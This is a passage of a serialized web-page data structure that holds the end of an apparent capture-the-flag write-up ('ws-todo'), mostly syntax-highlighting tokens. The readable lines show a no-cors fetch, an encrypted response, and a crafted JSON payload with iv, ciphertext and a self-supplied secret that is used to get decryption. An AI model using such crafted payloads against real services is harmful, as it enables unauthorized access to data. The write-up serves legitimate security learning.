2},[7244],{"type":34,"value":4307},{"type":29,"tag":128,"props":7246,"children":7247},{"style":216},[7248],{"type":34,"value":4360},{"type":29,"tag":128,"props":7250,"children":7251},{"style":188},[7252],{"type":34,"value":1099},{"type":29,"tag":128,"props":7254,"children":7255},{"style":188},[7256],{"type":34,"value":2432},{"type":29,"tag":128,"props":7258,"children":7259},{"style":194},[7260],{"type":34,"value":7261},"mode",{"type":29,"tag":128,"props":7263,"children":7264},{"style":188},[7265],{"type":34,"value":238},{"type":29,"tag":128,"props":7267,"children":7268},{"style":216},[7269],{"type":34,"value":1418},{"type":29,"tag":128,"props":7271,"children":7272},{"style":222},[7273],{"type":34,"value":7274},"no-cors",{"type":29,"tag":128,"props":7276,"children":7277},{"style":216},[7278],{"type":34,"value":219},{"type":29,"tag":128,"props":7280,"children":7281},{"style":188},[7282],{"type":34,"value":1439},{"type":29,"tag":128,"props":7284,"children":7285},{"class":130,"line":531},[7286,7290],{"type":29,"tag":128,"props":7287,"children":7288},{"style":188},[7289],{"type":34,"value":7142},{"type":29,"tag":128,"props":7291,"children":7292},{"style":749},[7293],{"type":34,"value":2234},{"type":29,"tag":128,"props":7295,"children":7296},{"class":130,"line":590},[7297,7301],{"type":29,"tag":128,"props":7298,"children":7299},{"style":188},[7300],{"type":34,"value":4307},{"type":29,"tag":128,"props":7302,"children":7303},{"style":749},[7304],{"type":34,"value":2234},{"type":29,"tag":128,"props":7306,"children":7307},{"class":130,"line":607},[7308],{"type":29,"tag":128,"props":7309,"children":7310},{"style":749},[7311],{"type":34,"value":7312},"s();\n",{"type":29,"tag":128,"props":7314,"children":7315},{"class":130,"line":633},[7316,7320,7324],{"type":29,"tag":128,"props":7317,"children":7318},{"style":188},[7319],{"type":34,"value":353},{"type":29,"tag":128,"props":7321,"children":7322},{"style":182},[7323],{"type":34,"value":682},{"type":29,"tag":128,"props":7325,"children":7326},{"style":188},[7327],{"type":34,"value":148},{"type":29,"tag":43,"props":7329,"children":7330},{},[7331],{"type":34,"value":7332},"With this we have this response:",{"type":29,"tag":114,"props":7334,"children":7335},{"lang":1332},[7336],{"type":29,"tag":119,"props":7337,"children":7339},{"code":7338,"language":1332,"meta":7,"className":6624,"style":7},"{\n  \"quote\":\n    {\n      \"iv\": \"f35ddb2c2292f575d2b9fc505da10997\",\n      \"content\":\"87dcac119f4c45a9c534c3b54191fb98c854ba0f81f3ecfe08c90fd1058dcd8772982756fb21f4ccebd6f46723a77555ad81cb66b2689bb096e1825f3919ee\"\n    }\n}\n",[7340],{"type":29,"tag":49,"props":7341,"children":7342},{"__ignoreMap":7},[7343,7350,7370,7378,7416,7449,7456],{"type":29,"tag":128,"props":7344,"children":7345},{"class":130,"line":131},[7346],{"type":29,"tag":128,"props":7347,"children":7348},{"style":188},[7349],{"type":34,"value":6636},{"type":29,"tag":128,"props":7351,"children":7352},{"class":130,"line":151},[7353,7357,7361,7365],{"type":29,"tag":128,"props":7354,"children":7355},{"style":6642},[7356],{"type":34,"value":6645},{"type":29,"tag":128,"props":7358,"children":7359},{"style":194},[7360],{"type":34,"value":5181},{"type":29,"tag":128,"props":7362,"children":7363},{"style":6642},[7364],{"type":34,"value":432},{"type":29,"tag":128,"props":7366,"children":7367},{"style":188},[7368],{"type":34,"value":7369},":\n",{"type":29,"tag":128,"props":7371,"children":7372},{"class":130,"line":169},[7373],{"type":29,"tag":128,"props":7374,"children":7375},{"style":188},[7376],{"type":34,"value":7377},"    {\n",{"type":29,"tag":128,"props":7379,"children":7380},{"class":130,"line":246},[7381,7386,7391,7395,7399,7403,7408,7412],{"type":29,"tag":128,"props":7382,"children":7383},{"style":6642},[7384],{"type":34,"value":7385},"      \"",{"type":29,"tag":128,"props":7387,"children":7388},{"style":194},[7389],{"type":34,"value":7390},"iv",{"type":29,"tag":128,"props":7392,"children":7393},{"style":6642},[7394],{"type":34,"value":432},{"type":29,"tag":128,"props":7396,"children":7397},{"style":188},[7398],{"type":34,"value":238},{"type":29,"tag":128,"props":7400,"children":7401},{"style":216},[7402],{"type":34,"value":2220},{"type":29,"tag":128,"props":7404,"children":7405},{"style":222},[7406],{"type":34,"value":7407},"f35ddb2c2292f575d2b9fc505da10997",{"type":29,"tag":128,"props":7409,"children":7410},{"style":216},[7411],{"type":34,"value":432},{"type":29,"tag":128,"props":7413,"children":7414},{"style":188},[7415],{"type":34,"value":814},{"type":29,"tag":128,"props":7417,"children":7418},{"class":130,"line":298},[7419,7423,7428,7432,7436,7440,7445],{"type":29,"tag":128,"props":7420,"children":7421},{"style":6642},[7422],{"type":34,"value":7385},{"type":29,"tag":128,"props":7424,"children":7425},{"style":194},[7426],{"type":34,"value":7427},"content",{"type":29,"tag":128,"props":7429,"children":7430},{"style":6642},[7431],{"type":34,"value":432},{"type":29,"tag":128,"props":7433,"children":7434},{"style":188},[7435],{"type":34,"value":238},{"type":29,"tag":128,"props":7437,"children":7438},{"style":216},[7439],{"type":34,"value":432},{"type":29,"tag":128,"props":7441,"children":7442},{"style":222},[7443],{"type":34,"value":7444},"87dcac119f4c45a9c534c3b54191fb98c854ba0f81f3ecfe08c90fd1058dcd8772982756fb21f4ccebd6f46723a77555ad81cb66b2689bb096e1825f3919ee",{"type":29,"tag":128,"props":7446,"children":7447},{"style":216},[7448],{"type":34,"value":3758},{"type":29,"tag":128,"props":7450,"children":7451},{"class":130,"line":323},[7452],{"type":29,"tag":128,"props":7453,"children":7454},{"style":188},[7455],{"type":34,"value":1363},{"type":29,"tag":128,"props":7457,"children":7458},{"class":130,"line":364},[7459],{"type":29,"tag":128,"props":7460,"children":7461},{"style":188},[7462],{"type":34,"value":2829},{"type":29,"tag":43,"props":7464,"children":7465},{},[7466,7468,7473],{"type":34,"value":7467},"We can decrypt because the ",{"type":29,"tag":49,"props":7469,"children":7471},{"className":7470},[],[7472],{"type":34,"value":1552},{"type":34,"value":7474}," come from us.",{"type":29,"tag":43,"props":7476,"children":7477},{},[7478,7480,7485],{"type":34,"value":7479},"So we can call ",{"type":29,"tag":49,"props":7481,"children":7483},{"className":7482},[],[7484],{"type":34,"value":1475},{"type":34,"value":7486}," with this payload:",{"type":29,"tag":114,"props":7488,"children":7489},{"lang":1332},[7490],{"type":29,"tag":119,"props":7491,"children":7493},{"code":7492,"language":1332,"meta":7,"className":6624,"style":7},"{\n    \"cipher\": {\n        \"iv\": \"f35ddb2c2292f575d2b9fc505da10997\",\n        \"content\": \"87dcac119f4c45a9c534c3b54191fb98c854ba0f81f3ecfe08c90fd1058dcd8772982756fb21f4ccebd6f46723a77555ad81cb66b2689bb096e1825f3919ee\"\n    },\n    \"secret\": \"f3eeaa82370f7e9bfbc2caf16f6d19b7\"\n}\n",[7494],{"type":29,"tag":49,"props":7495,"children":7496},{"__ignoreMap":7},[7497,7504,7527,7563,7594,7602,7633],{"type":29,"tag":128,"props":7498,"children":7499},{"class":130,"line":131},[7500],{"type":29,"tag":128,"props":7501,"children":7502},{"style":188},[7503],{"type":34,"value":6636},{"type":29,"tag":128,"props":7505,"children":7506},{"class":130,"line":151},[7507,7511,7515,7519,7523],{"type":29,"tag":128,"props":7508,"children":7509},{"style":6642},[7510],{"type":34,"value":3708},{"type":29,"tag":128,"props":7512,"children":7513},{"style":194},[7514],{"type":34,"value":1674},{"type":29,"tag":128,"props":7516,"children":7517},{"style":6642},[7518],{"type":34,"value":432},{"type":29,"tag":128,"props":7520,"children":7521},{"style":188},[7522],{"type":34,"value":238},{"type":29,"tag":128,"props":7524,"children":7525},{"style":188},[7526],{"type":34,"value":1137},{"type":29,"tag":128,"props":7528,"children":7529},{"class":130,"line":169},[7530,7535,7539,7543,7547,7551,7555,7559],{"type":29,"tag":128,"props":7531,"children":7532},{"style":6642},[7533],{"type":34,"value":7534},"        \"",{"type":29,"tag":128,"props":7536,"children":7537},{"style":194},[7538],{"type":34,"value":7390},{"type":29,"tag":128,"props":7540,"children":7541},{"style":6642},[7542],{"type":34,"value":432},{"type":29,"tag":128,"props":7544,"children":7545},{"style":188},[7546],{"type":34,"value":238},{"type":29,"tag":128,"props":7548,"children":7549},{"style":216},[7550],{"type":34,"value":2220},{"type":29,"tag":128,"props":7552,"children":7553},{"style":222},[7554],{"type":34,"value":7407},{"type":29,"tag":128,"props":7556,"children":7557},{"style":216},[7558],{"type":34,"value":432},{"type":29,"tag":128,"props":7560,"children":7561},{"style":188},[7562],{"type":34,"value":814},{"type":29,"tag":128,"props":7564,"children":7565},{"class":130,"line":246},[7566,7570,7574,7578,7582,7586,7590],{"type":29,"tag":128,"props":7567,"children":7568},{"style":6642},[7569],{"type":34,"value":7534},{"type":29,"tag":128,"props":7571,"children":7572},{"style":194},[7573],{"type":34,"value":7427},{"type":29,"tag":128,"props":7575,"children":7576},{"style":6642},[7577],{"type":34,"value":432},{"type":29,"tag":128,"props":7579,"children":7580},{"style":188},[7581],{"type":34,"value":238},{"type":29,"tag":128,"props":7583,"children":7584},{"style":216},[7585],{"type":34,"value":2220},{"type":29,"tag":128,"props":7587,"children":7588},{"style":222},[7589],{"type":34,"value":7444},{"type":29,"tag":128,"props":7591,"children":7592},{"style":216},[7593],{"type":34,"value":3758},{"type":29,"tag":128,"props":7595,"children":7596},{"class":130,"line":298},[7597],{"type":29,"tag":128,"props":7598,"children":7599},{"style":188},[7600],{"type":34,"value":7601},"    },\n",{"type":29,"tag":128,"props":7603,"children":7604},{"class":130,"line":323},[7605,7609,7613,7617,7621,7625,7629],{"type":29,"tag":128,"props":7606,"children":7607},{"style":6642},[7608],{"type":34,"value":3708},{"type":29,"tag":128,"props":7610,"children":7611},{"style":194},[7612],{"type":34,"value":1552},{"type":29,"tag":128,"props":7614,"children":7615},{"style":6642},[7616],{"type":34,"value":432},{"type":29,"tag":128,"props":7618,"children":7619},{"style":188},[7620],{"type":34,"value":238},{"type":29,"tag":128,"props":7622,"children":7623},{"style":216},[7624],{"type":34,"value":2220},{"type":29,"tag":128,"props":7626,"children":7627},{"style":222},[7628],{"type":34,"value":6771},{"type":29,"tag":128,"props":7630,"children":7631},{"style":216},[7632],{"type":34,"value":3758},{"type":29,"tag":128,"props":7634,"children":7635},{"class":130,"line":364},[7636],{"type":29,"tag":128,"props":7637,"children":7638},{"style":188},[7639],{"type":34,"value":2829},{"type":29,"tag":43,"props":7641,"children":7642},{},[7643],{"type":34,"value":7644},"And voila !",{"type":29,"tag":7646,"props":7647,"children":7648},"style",{},[7649],{"type":34,"value":7650},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":151,"depth":131,"links":7652},[7653,7654,7655,7657,7658],{"id":38,"depth":151,"text":41},{"id":3551,"depth":151,"text":3554},{"id":6194,"depth":151,"text":7656},"data column",{"id":6268,"depth":151,"text":6271},{"id":6785,"depth":151,"text":6788},"markdown","content:writeups:ws-todo.md","writeups/ws-todo.md","writeups/ws-todo","md",1749027226012]